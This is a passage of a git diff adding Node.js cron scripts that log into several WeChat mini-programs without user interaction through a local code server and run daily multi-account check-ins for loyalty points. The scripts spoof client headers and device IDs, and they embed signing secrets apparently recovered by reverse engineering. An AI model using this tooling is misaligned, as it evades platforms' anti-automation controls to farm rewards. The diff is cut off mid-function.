.replace(/(!)|(')|(\()|(\))|(\~)|(\*)/gi, (c) => `%${c.charCodeAt(0).toString(16).toUpperCase()}`); + return sha1(encoded); + } + + async api(path, data = {}) { + const body = { + ...this.globalData, + current_time: Date.now(), + ...(this.token ? { token: this.token } : {}), + ...data, + }; + body.key = this.signKey(body); + const res = await request({ + method: "POST", + url: `${this.base}${path}`, + headers: { "content-type": "application/x-www-form-urlencoded" }, + data: new URLSearchParams(Object.entries(body).map(([k, v]) => [k, String(v)])).toString(), + }); + return res.data; + } + + async login() { + const code = await getWxCode(APP.appid, this.openid); + const login = await this.api("/mini_program/get_openid.do", { code }); + if (String(login?.code) !== "1" || !login?.data?.token) throw new Error(`登录失败: ${short(login)}`); + this.token = login.data.token; + const check = await this.api("/consumer/consumer/checkOpenid.do", { invitation: "" }); + const data = check?.data || {}; + this.userID = data.userID || data.userid || data.id || login.data.userID || ""; + return `openid=${login.data.openid || ""} userID=${this.userID || "未知"}`; + } + + async query() { + const center = await this.api("/dmluser/center.do", {}); + const info = center?.data?.user_info || center?.data?.userinfo || center?.data || {}; + const score = info.integral || info.score || info.points || info.balance || info.user_integral; + const name = info.nickname || info.nickName || info.mobile || info.username || ""; + return `用户=${name || "未知"} 积分=${score ?? "未知"} 返回=${short(center, 180)}`; + } + + async sign() { + const tasks = await this.api("/task/task/taskList.do", { source: 4 }); + const day = tasks?.data?.tasklist?.day || []; + const task = + day.find((item) => /签到|每日|趣赚分|积分/.test(`${item.name || item.title || ""}`) && String(item.status || item.is_finish || "") !== "1") || + day.find((item) => String(item.type) === "1" && String(item.status || item.is_finish || "") !== "1"); + if (!task) return `未找到可完成签到任务: taskList=${short(tasks, 220)}`; + if (task.skiprule && task.skiprule !== "") return `任务需要跳转/广告,跳过: ${short(task)}`; + const requestId = md5(`${this.userID}aopijkks${Date.now()}`); + const sign = await this.api("/task/task/taskSuccrss.do", { + taskid: task.id, + subtask_id: task.subtask_id, + request_id: requestId, + }); + return `任务=${task.name || task.title || task.id} 返回=${short(sign)}`; + } +} + +async function runAccount(openid, index) { + $.log(`\n========== ${APP.name} 账号[${index}] ${openid} ==========`); + const runner = new Quwa(openid); + try { + $.log(`登录:${await runner.login()}`); + $.log(`查询:${await runner.query()}`); + $.log(`签到:${await runner.sign()}`); + } catch (e) { + $.log(`执行失败:${e.message || e}`); + } +} + +(async () => { + const accounts = (process.env[CK_NAME] || DEFAULT_OPENID || "") + .split((process.env[CK_NAME] || "").includes("\n") ? "\n" : "&") + .map((x) => x.trim()) + .filter(Boolean); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + await runAccount(accounts[i], i + 1); + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git a/wxapp/qyqd.js b/wxapp/qyqd.js new file mode 100644 index 00000000..4976a2cf --- /dev/null +++ b/wxapp/qyqd.js @@ -0,0 +1,246 @@ +/* +------------------------------------------ +@Description: 期云积签兑 - 微信小程序静默登录 + 每日签到 +cron: 36 8 * * * +------------------------------------------ +变量名:qyqd +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx958515f1809b73c0,host api.jiqiandui.cn/api/v1): + 登录 POST /auth/wechat-login {code} -> code===0 && data.token + 之后带请求头 Authorization: Bearer + 另外三个固定头:X-Client-Type=miniprogram / X-Platform-Type=wechat / X-Device-ID + 资料 GET /user/info + 签到 POST /signin/do {} (状态查询是 GET /signin/status) + 广告任务与抽奖故意不做:看广告类按规则不绕 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("期云积签兑"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "qyqd"; +const MINI_APP_ID = "wx958515f1809b73c0"; +const BASE = "https://api.jiqiandui.cn/api/v1"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "qyqd_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/auth/wechat-login"; +const EP_SIGN = "/signin/do"; +const EP_USER = "/user/info"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => Number(res?.code) === 0; +const msgOf = (res) => res?.message || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + "X-Client-Type": "miniprogram", + "X-Platform-Type": "wechat", + "X-Device-ID": this.deviceId, + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["Authorization"] = `Bearer ${this.token}`; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).token || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "GET", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/rio.js b/wxapp/rio.js new file mode 100644 index 00000000..814eeb2f --- /dev/null +++ b/wxapp/rio.js @@ -0,0 +1,166 @@ +/* +------------------------------------------ +@Description: RIO 微醺俱乐部 - 微信小程序静默登录 + 每日签到 +cron: 33 8 * * * +------------------------------------------ +变量名:rio +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx225b10f204323da5,host club.rioalc.com,API 前缀 /api/miniprogram): +(迁移自 YYB-GO 系抓包脚本,原脚本已 code 登录) + +登录 POST /api/miniprogram/auth JSON {code:, redirect_path:"/pages/welcome/loading-page?..."} + -> code==200,data.api_token(+ nick_name/phone/points);未注册回 code!=200(如 5001) +签到 POST /api/miniprogram/user-sign-click JSON {} 头 Authorization: Bearer + -> code==200 "签到成功" +实测:号1 登录成功(初饮萌新)→签到成功;号2 未注册(5001)。 +不做:任务列表/发帖等。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("RIO微醺俱乐部"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "rio"; +const MINI_APP_ID = "wx225b10f204323da5"; +const API_BASE = "https://club.rioalc.com/api/miniprogram"; +const REDIRECT = "/pages/welcome/loading-page?nocheck=&type_lk=3&path=%2Fpages%2Findex%2Findex"; +const TOKEN_CACHE_FILE = path.join(__dirname, "rio_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + + "Chrome/134.0.0.0 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/auth"; +const EP_SIGN = "/user-sign-click"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => Number(res?.code) === 200; +const msgOf = (res) => res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => Number(res?.code) === 401 || /登录|token|未授权|失效|过期/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(apiPath, body) { + const headers = { + "User-Agent": USER_AGENT, + "Content-Type": "application/json", + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + }; + if (this.token) headers.Authorization = `Bearer ${this.token}`; + const res = await axios.request({ + method: "POST", url: `${API_BASE}${apiPath}`, data: body || {}, + headers, timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, redirect_path: REDIRECT }); + const d = res.data || {}; + this.token = String(d.api_token || ""); + if (!isOk(res) || !this.token) { + // code!=200 / 无 api_token = 未注册会员 + this.unregistered = true; + throw new Error(`NO_TOKEN:${msgOf(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${d.nick_name ? `: ${d.nick_name}` : ""}${d.points !== undefined ? `,积分 ${d.points}` : ""}`); + } + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}); + if (isOk(res)) return this.log(`✅ 签到成功${res.message ? `:${res.message}` : ""}`); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + try { await this.login(); } catch (e) { if (String(e.message).startsWith("NO_TOKEN")) { this.log(`⚠️ 未注册会员: ${e.message.slice(8)}`); return; } throw e; } + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_TOKEN")) { + this.log(`⚠️ 该微信号还没在 RIO 俱乐部注册会员(登录 ${e.message.slice(8)}),先在小程序里注册一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/roki.js b/wxapp/roki.js new file mode 100644 index 00000000..2460244b --- /dev/null +++ b/wxapp/roki.js @@ -0,0 +1,315 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 老板电器 ROKI 小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:roki +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("老板电器ROKI签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wxba70fb8e3eb3aab9"; +const API_BASE = process.env.roki_api_base || "https://aio.myroki.com/api/v1/mini-app"; +const APP_ENV = process.env.roki_app_env || "release"; +const ROKI_APP_ID = "roki_app"; +const SIGN_SECRET = "ee8694419924a22f04ac0e01368683521daa659f"; +const AES_SECRET = "1234567890123456"; +const APP_VERSION = 5000; +const TOKEN_CACHE_FILE = path.join(__dirname, "roki_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "roki"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function shortValue(value = "") { + const text = String(value || ""); + return text ? `${text.slice(0, 4)}***${text.slice(-4)}` : ""; +} + +function getSignString(params) { + return Object.keys(params) + .map((key) => `${key}=${params[key]}`) + .join("&"); +} + +function signRequest(timestamp) { + const payload = { + aesEncryptSecret: AES_SECRET, + appId: ROKI_APP_ID, + nonce: AES_SECRET, + secret: SIGN_SECRET, + timestamp, + }; + const raw = getSignString(payload); + return encodeURIComponent(crypto.createHmac("sha256", SIGN_SECRET).update(raw).digest("base64")); +} + +function isTokenError(error) { + return /token|登录|授权|401|10001|unauthorized/i.test(String(error && (error.message || error))); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.token = ""; + this.aiToken = ""; + this.expireTime = 0; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortValue(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getUserInfo(); + await this.signIn(); + await this.getRecentSignIn(); + await this.getMemberPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + const item = cache[this.account]; + if (!item || !item.token) return null; + if (item.expireTime && Number(item.expireTime) < Date.now()) return null; + return item; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.account] = { + token: this.token, + aiToken: this.aiToken, + expireTime: this.expireTime, + userId: this.userInfo.id || "", + mobile: this.userInfo.mobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeTokenCache(cache); + } + this.token = ""; + this.aiToken = ""; + this.expireTime = 0; + } + + applyToken(data = {}) { + this.token = data.token || ""; + this.aiToken = data.aiToken || ""; + this.expireTime = Number(data.expireTime || 0); + } + + getHeaders(extra = {}) { + const timestamp = Date.now(); + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/454/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-type": "application/json", + "X-App-Env": APP_ENV, + "X-USER-TOKEN": this.token || "", + "app-id": ROKI_APP_ID, + timestamp, + nonce: AES_SECRET, + secret: AES_SECRET, + signature: signRequest(timestamp), + "app-version": APP_VERSION, + ...extra, + }; + return headers; + } + + async request({ method = "GET", apiPath, params = {}, data = {}, skipToken = false }) { + const upperMethod = method.toUpperCase(); + const headers = this.getHeaders(); + if (skipToken) headers["X-USER-TOKEN"] = ""; + + const options = { + method: upperMethod, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers, + timeout: 20000, + validateStatus: () => true, + }; + if (upperMethod === "GET") options.params = params; + else options.data = data; + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + + const code = result && result.code; + if (code && ![200, 0].includes(Number(code))) { + const err = new Error(result.message || result.msg || JSON.stringify(result)); + err.code = code; + err.raw = result; + throw err; + } + return result; + } + + async getLoginCode() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.account); + const code = data && (data.code || (data.data && data.data.code)); + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const result = await this.request({ + method: "POST", + apiPath: "/user/login", + skipToken: true, + data: { + code, + param: { + "qr-code": "", + }, + }, + }); + const data = result.data || {}; + this.applyToken(data); + if (!this.token) throw new Error(`登录响应未返回 token: ${JSON.stringify(result)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: token=${shortValue(this.token)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getUserInfo(false); + return true; + } catch (e) { + return false; + } + } + + async getUserInfo(needLog = true) { + const result = await this.request({ apiPath: "/user/profile" }); + this.userInfo = result.data || {}; + this.saveCachedToken(); + if (needLog) { + const name = this.userInfo.nickName || this.userInfo.nickname || this.userInfo.name || this.userInfo.id || "未知"; + const mobile = this.userInfo.mobile ? ` ${maskPhone(this.userInfo.mobile)}` : ""; + const points = this.userInfo.points ?? this.userInfo.memberPoints ?? "未知"; + $.log(`账号[${this.index}] 用户: ${name}${mobile} 积分=${points} 今日签到=${this.userInfo.todayIsCheckIn ? "是" : "否"}`); + } + return this.userInfo; + } + + async signIn() { + try { + if (Number(this.userInfo.todayIsCheckIn) === 1 || this.userInfo.todayIsCheckIn === true) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const result = await this.request({ + method: "POST", + apiPath: "/user/check-in-record/check-in", + data: {}, + }); + $.log(`账号[${this.index}] 签到成功: ${result.message || result.msg || "ok"}`); + await this.getUserInfo(false); + } catch (e) { + $.log(`账号[${this.index}] 签到失败: ${e.message || e}`); + if (isTokenError(e)) this.removeCachedToken(); + } + } + + async getRecentSignIn() { + try { + const result = await this.request({ apiPath: "/user/check-in-record/recent/record" }); + const data = result.data || {}; + const days = data.consecutiveDays ?? data.continuousDays ?? data.days ?? "未知"; + $.log(`账号[${this.index}] 连续签到: ${days}天`); + } catch (e) { + $.log(`账号[${this.index}] 查询签到记录失败: ${e.message || e}`); + } + } + + async getMemberPoints() { + try { + const result = await this.request({ apiPath: "/user/member/points" }); + const data = result.data || {}; + const points = data.points ?? data.availablePoints ?? data.totalPoints ?? data; + $.log(`账号[${this.index}] 当前积分: ${typeof points === "object" ? JSON.stringify(points) : points}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/rrk.js b/wxapp/rrk.js new file mode 100644 index 00000000..cabc654f --- /dev/null +++ b/wxapp/rrk.js @@ -0,0 +1,381 @@ +/* +------------------------------------------ +@Description: 红人库 - 微信小程序静默登录 + 每日签到 +cron: 34 10 * * * +------------------------------------------ +变量名:rrk +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx44356198837c0121,host xapi.weimob.com,微盟 onecrm/signgift): +(迁移自 YYB-GO 系抓包脚本,原脚本已 code 登录) + +登录 POST /fe/mapi/user/loginX JSON {appid, code, basicInfo:{bosId,cid,tcode:"weimob",vid}, + env:"production", extendInfo:{source:1}, is_pre_fetch_open:true, parentVid:0, + pid:, storeId:"0", queryAuthConfig:true} + -> errcode==0;token 取 token/accessToken/access_token/jwt(放头 X-WX-Token),wid 取 data.wid +签状态 POST /api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo -> data.hasSign(true=今日已签) +签到 POST /api3/onecrm/mactivity/sign/misc/sign/activity/core/c/sign -> errcode==0 + (重复签 errcode 60070013000332 视为已签),奖励 data.fixedReward.points / data.extraReward.points +积分 POST /api3/onecrm/point/myPoint/getSimpleAccountInfo -> data.availablePoint(附带信息) + 两业务请求 basicInfo 带完整商户配置,body.customInfo.wid = 登录返回的 wid + +vid/bosId/cid/merchantId/productInstanceId/productVersionId 等是这家小程序绑定的固定商户配置 +(原脚本硬编码,非个人凭证);wid 由 code 登录动态返回(不照搬原脚本里写死的作者 wid)。 +未注册:loginX errcode!=0 或拿不到 token。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("红人库签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "rrk"; +const MINI_APP_ID = "wx44356198837c0121"; +const BASE = "https://xapi.weimob.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "rrk_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 " + + "Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/fe/mapi/user/loginX"; +const EP_SIGN_STATUS = "/api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo"; +const EP_SIGN = "/api3/onecrm/mactivity/sign/misc/sign/activity/core/c/sign"; +const EP_POINT = "/api3/onecrm/point/myPoint/getSimpleAccountInfo"; + +// —— 这家小程序绑定的固定商户配置(原脚本硬编码常量,非个人凭证)—— +const WEIMOB = { + bosId: "4020386662105", + cid: "114397105", + vid: 6015049204105, + vidType: 2, + productId: 146, + productInstanceId: 1021082105, + productVersionId: "10003", + merchantId: 2000027614105, + tcode: "weimob", +}; + +const SIGN_BASIC_INFO = { + vid: WEIMOB.vid, + vidType: WEIMOB.vidType, + bosId: Number(WEIMOB.bosId), + productId: WEIMOB.productId, + productInstanceId: WEIMOB.productInstanceId, + productVersionId: WEIMOB.productVersionId, + merchantId: WEIMOB.merchantId, + tcode: WEIMOB.tcode, + cid: Number(WEIMOB.cid), +}; + +// 积分接口用的 basicInfo(productId 1 / usercenter 实例) +const POINT_BASIC_INFO = { + vid: WEIMOB.vid, + vidType: WEIMOB.vidType, + bosId: Number(WEIMOB.bosId), + productId: 1, + productInstanceId: 1021218105, + productVersionId: "36000", + merchantId: WEIMOB.merchantId, + tcode: WEIMOB.tcode, + cid: Number(WEIMOB.cid), +}; + +const SIGN_EXTEND_INFO = { + wxTemplateId: 7912, + analysis: [], + bosTemplateId: 1000001980, + childTemplateIds: [ + { customId: 90004, version: "crm@0.1.62" }, + { customId: 90002, version: "ec@67.1" }, + { customId: 90006, version: "hudong@0.0.227" }, + { customId: 90008, version: "cms@0.0.503" }, + ], + quickdeliver: { enable: "false" }, + youshu: { enable: "false" }, + source: 1, + channelsource: 5, + refer: "onecrm-signgift", + mpScene: 1302, +}; + +// 业务请求需带这组微盟网关路由头,否则网关无法定位 vid 对应的 OneCRM 签到实例 +const MERCHANT_HEADERS = { + "x-wmsdk-vid": String(WEIMOB.vid), + "x-biz-id": String(WEIMOB.productId), + "x-component-is": "onecrm/signgift", + "cloud-bosid": WEIMOB.bosId, + "weimob-bosId": WEIMOB.bosId, + "weimob-cid": WEIMOB.cid, +}; + +// 登录只需商户 bos/cid 头 +const LOGIN_HEADERS = { + "weimob-bosId": WEIMOB.bosId, + "weimob-cid": WEIMOB.cid, +}; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return 